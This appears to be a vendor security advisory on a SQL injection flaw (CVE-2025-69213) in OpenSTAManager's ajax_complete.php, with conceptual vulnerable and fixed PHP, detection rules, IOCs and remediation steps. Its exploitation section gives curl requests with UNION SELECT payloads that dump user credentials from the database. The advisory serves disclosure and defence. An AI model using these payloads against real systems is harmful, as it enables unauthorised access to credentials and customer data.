CVE-2025-69213

Executive Summary

CVE-2025-69213 is a critical SQL Injection vulnerability discovered in OpenSTAManager, an open-source management software for technical assistance and invoicing. The flaw resides in the ajax_complete.php endpoint, specifically within the get_sedi operation. An authenticated attacker can inject malicious SQL code through the idanagrafica parameter, leading to unauthorized database access, data exfiltration, and potential privilege escalation. At the time of this report, no official patch has been released, and no public proof-of-concept (PoC) code is available. The vulnerability affects all versions up to and including 2.9.8.

CVSS Breakdown & Threat Level

While a CVSS vector is not officially assigned, based on the vulnerability characteristics, a reasonable assessment is:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): Low (L) – Requires authentication
• User Interaction (UI): None (N)
• Scope (S): Unchanged (U)
• Confidentiality (C): High (H)
• Integrity (I): High (H)
• Availability (A): High (H)

Estimated CVSS Score: 8.8 (High)

Threat Level: High. The vulnerability allows for complete database compromise, including reading, modifying, and deleting sensitive data such as invoices, customer information, and user credentials.

Deep Dive & Mechanics

The vulnerability exists in the ajax_complete.php file, which handles AJAX requests for autocomplete functionality. The get_sedi operation is designed to fetch "sedi" (locations/offices) associated with a given idanagrafica (customer ID). The parameter is directly concatenated into a SQL query without proper sanitization or parameterization.

Vulnerable Code Snippet (Conceptual):

// ajax_complete.php
$idanagrafica = $_GET['idanagrafica'];
$query = "SELECT * FROM an_sedi WHERE idanagrafica = $idanagrafica";
$result = $conn->query($query);

An authenticated attacker can manipulate the idanagrafica parameter to break out of the intended SQL context. For example:

GET /ajax_complete.php?operation=get_sedi&idanagrafica=1 UNION SELECT username, password FROM users--

This would return user credentials alongside legitimate data.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

$idanagrafica = $_GET['idanagrafica'];
$query = "SELECT * FROM an_sedi WHERE idanagrafica = $idanagrafica";

Patched Code (Conceptual):

$idanagrafica = intval($_GET['idanagrafica']);
$query = "SELECT * FROM an_sedi WHERE idanagrafica = $idanagrafica";

Or, using prepared statements:

$stmt = $conn->prepare("SELECT * FROM an_sedi WHERE idanagrafica = ?");
$stmt->bind_param("i", $idanagrafica);
$stmt->execute();

The patched code ensures that the input is treated as an integer, preventing SQL injection. Since no official patch exists, users must implement these mitigations manually.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Deploy OpenSTAManager 2.9.8 in a Docker container or local environment.
2. Authenticate as a low-privileged user.
3. Intercept the AJAX request to ajax_complete.php?operation=get_sedi&idanagrafica=1.

Exploitation Steps:

1. Identify Injection Point:

   curl -X GET "http://target/ajax_complete.php?operation=get_sedi&idanagrafica=1'"
   

   If an SQL error is returned, the parameter is injectable.

2. Extract Database Version:

   curl -X GET "http://target/ajax_complete.php?operation=get_sedi&idanagrafica=1 UNION SELECT @@version,2,3--"
   

3. Dump User Credentials:

   curl -X GET "http://target/ajax_complete.php?operation=get_sedi&idanagrafica=1 UNION SELECT username, password, email FROM users--"
   

Note: No public exploit code is available; the above is a conceptual demonstration.

Blue Team (Defensive)

Detection:

• Monitor for unusual SQL error messages in application logs.
• Alert on requests to ajax_complete.php with suspicious idanagrafica values (e.g., containing UNION, SELECT, ', --).
• Implement Web Application Firewall (WAF) rules to block SQL injection patterns.

Mitigation:

• Immediately apply input validation and parameterized queries as shown in the patched code.
• Restrict database user privileges to the minimum required.
• Enable detailed logging for all database queries.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /ajax_complete.php?operation=get_sedi&idanagrafica= containing SQL keywords (UNION, SELECT, DROP, etc.).
  • Unusual response sizes or SQL error messages in HTTP responses.

• File IOCs:

  • Modified ajax_complete.php file (if attacker uploads a backdoor).
  • Suspicious entries in web server access logs (e.g., GET /ajax_complete.php?operation=get_sedi&idanagrafica=1 UNION...).

• Database IOCs:

  • Unexpected queries in database logs.
  • New user accounts or modified data in an_sedi or users tables.

Detection Engineering

YARA Rule

rule CVE_2025_69213_SQLi_OpenSTAManager {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2025-69213 in OpenSTAManager"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-69213"
    strings:
        $s1 = "ajax_complete.php" nocase
        $s2 = "get_sedi" nocase
        $s3 = "idanagrafica" nocase
        $sql1 = "UNION" nocase
        $sql2 = "SELECT" nocase
        $sql3 = "DROP" nocase
        $sql4 = "1=1" nocase
    condition:
        all of ($s*) and any of ($sql*)
}

Sigma Rule

title: SQL Injection Attempt Against OpenSTAManager CVE-2025-69213
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts targeting the idanagrafica parameter in ajax_complete.php
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains:
            - "ajax_complete.php?operation=get_sedi&idanagrafica="
        cs-uri-query|contains|all:
            - "UNION"
            - "SELECT"
    condition: selection
falsepositives:
    - Legitimate use of UNION in rare cases (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-69213 OpenSTAManager SQL Injection Attempt"; flow:to_server,established; content:"GET"; http_method; content:"ajax_complete.php"; http_uri; content:"operation=get_sedi"; http_uri; content:"idanagrafica"; http_uri; pcre:"/(UNION|SELECT|DROP|1=1)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action:

   • Apply input validation: Cast idanagrafica to an integer using intval() or similar.
   • Use prepared statements with parameterized queries for all database interactions.

2. Long-term Fix:

   • Upgrade to a patched version once released by the vendor.
   • Conduct a full code audit for similar injection vulnerabilities.

3. Compensating Controls:

   • Deploy a WAF with SQL injection prevention rules.
   • Implement database activity monitoring.
   • Restrict database user permissions to read-only where possible.

4. Monitoring:

   • Enable detailed logging for all web requests and database queries.
   • Set up alerts for suspicious patterns as defined in the Detection Engineering section.

Valters IT
Securing Digital Frontiers